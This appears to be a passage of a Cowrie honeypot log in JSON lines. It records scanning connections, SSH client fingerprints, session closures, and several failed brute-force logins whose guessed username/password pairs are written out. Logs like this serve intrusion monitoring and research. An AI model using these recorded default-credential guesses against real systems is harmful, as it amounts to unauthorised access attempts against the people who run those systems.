{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:25:58.364563Z","src_ip":"202.125.94.71","session":"bca241c62542","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.56.146.133","src_port":57396,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b75c0230dc1","protocol":"telnet","message":"New connection: 152.56.146.133:57396 (159.203.135.109:23) [session: 2b75c0230dc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:25:59.306774Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"csp","message":"login attempt [root/csp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:25:59.435468Z","src_ip":"202.125.94.71","session":"bca241c62542","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:00.698080Z","src_ip":"202.125.94.71","session":"bca241c62542","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.169.229","src_port":43208,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f8a24c8b178","protocol":"ssh","message":"New connection: 148.230.169.229:43208 (10.17.0.5:22) [session: 3f8a24c8b178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:01.880046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:01.888768Z","src_ip":"148.230.169.229","session":"3f8a24c8b178","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:01.955835Z","src_ip":"148.230.169.229","session":"3f8a24c8b178","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"oracle","message":"login attempt [ubuntu/oracle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:02.249763Z","src_ip":"148.230.169.229","session":"3f8a24c8b178","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.96310067176819,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:02.745226Z","src_ip":"137.184.155.248","session":"9edb1165abf7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.797404527664185,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:03.299445Z","src_ip":"185.26.126.47","session":"c6ff3923a7d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:03.317791Z","src_ip":"148.230.169.229","session":"3f8a24c8b178","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.101","src_port":38434,"dst_ip":"10.17.0.5","dst_port":22,"session":"55c0b2739465","protocol":"ssh","message":"New connection: 58.186.20.101:38434 (10.17.0.5:22) [session: 55c0b2739465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:09.335988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:09.340378Z","src_ip":"58.186.20.101","session":"55c0b2739465","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:09.599885Z","src_ip":"58.186.20.101","session":"55c0b2739465","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":50950,"dst_ip":"10.17.0.5","dst_port":22,"session":"e39736da1fcb","protocol":"ssh","message":"New connection: 203.90.110.186:50950 (10.17.0.5:22) [session: e39736da1fcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:09.841929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:09.847058Z","src_ip":"203.90.110.186","session":"e39736da1fcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:10.066799Z","src_ip":"203.90.110.186","session":"e39736da1fcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"12345","message":"login attempt [testuser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:10.978748Z","src_ip":"203.90.110.186","session":"e39736da1fcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest!","message":"login attempt [guest/guest!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:11.328624Z","src_ip":"58.186.20.101","session":"55c0b2739465","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:12.201452Z","src_ip":"203.90.110.186","session":"e39736da1fcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:12.592507Z","src_ip":"58.186.20.101","session":"55c0b2739465","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":41566,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d5d80afcee4","protocol":"ssh","message":"New connection: 41.86.34.139:41566 (10.17.0.5:22) [session: 4d5d80afcee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:13.240445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:13.245152Z","src_ip":"41.86.34.139","session":"4d5d80afcee4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:13.452852Z","src_ip":"41.86.34.139","session":"4d5d80afcee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456a@","message":"login attempt [ubuntu/123456a@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:14.316695Z","src_ip":"41.86.34.139","session":"4d5d80afcee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:15.526751Z","src_ip":"41.86.34.139","session":"4d5d80afcee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.440589666366577,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:17.747226Z","src_ip":"152.56.146.133","session":"2b75c0230dc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.72251868247986,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:24.620069Z","src_ip":"137.184.155.248","session":"e2d6a2dc0781","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.7","src_port":36558,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f83794c7061","protocol":"ssh","message":"New connection: 72.253.251.7:36558 (159.203.135.109:22) [session: 8f83794c7061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:31.123852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:31.128525Z","src_ip":"72.253.251.7","session":"8f83794c7061","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:31.246035Z","src_ip":"72.253.251.7","session":"8f83794c7061","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"123456","message":"login attempt [ftpadmin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:31.748342Z","src_ip":"72.253.251.7","session":"8f83794c7061","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:32.868493Z","src_ip":"72.253.251.7","session":"8f83794c7061","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":45104,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3204aef3c51","protocol":"ssh","message":"New connection: 186.4.240.226:45104 (10.17.0.5:22) [session: a3204aef3c51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:38.671183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:38.676669Z","src_ip":"186.4.240.226","session":"a3204aef3c51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:38.767383Z","src_ip":"186.4.240.226","session":"a3204aef3c51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@dm!n123","message":"login attempt [root/@dm!n123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:39.156192Z","src_ip":"186.4.240.226","session":"a3204aef3c51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:40.248346Z","src_ip":"186.4.240.226","session":"a3204aef3c51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.188.181.103","src_port":60850,"dst_ip":"159.203.135.109","dst_port":23,"session":"58f3539b39f3","protocol":"telnet","message":"New connection: 187.188.181.103:60850 (159.203.135.109:23) [session: 58f3539b39f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:43.548082Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.188.181.103","src_port":43122,"dst_ip":"159.203.135.109","dst_port":23,"session":"320092e8cdc9","protocol":"telnet","message":"New connection: 187.188.181.103:43122 (159.203.135.109:23) [session: 320092e8cdc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:47.171501Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.188.181.103","src_port":43132,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6c30835e258","protocol":"telnet","message":"New connection: 187.188.181.103:43132 (159.203.135.109:23) [session: b6c30835e258]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:51.242489Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.188.181.103","src_port":55718,"dst_ip":"159.203.135.109","dst_port":23,"session":"da8b002beb76","protocol":"telnet","message":"New connection: 187.188.181.103:55718 (159.203.135.109:23) [session: da8b002beb76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:52.859151Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.188.181.103","src_port":43134,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e8a82f46855","protocol":"telnet","message":"New connection: 187.188.181.103:43134 (159.203.135.109:23) [session: 9e8a82f46855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:53.025875Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.188.181.103","src_port":43144,"dst_ip":"159.203.135.109","dst_port":23,"session":"c401f3296396","protocol":"telnet","message":"New connection: 187.188.181.103:43144 (159.203.135.109:23) [session: c401f3296396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:54.027395Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":44340,"dst_ip":"159.203.135.109","dst_port":22,"session":"b00585429af2","protocol":"ssh","message":"New connection: 202.125.94.71:44340 (159.203.135.109:22) [session: b00585429af2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:55.625838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:55.630925Z","src_ip":"202.125.94.71","session":"b00585429af2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.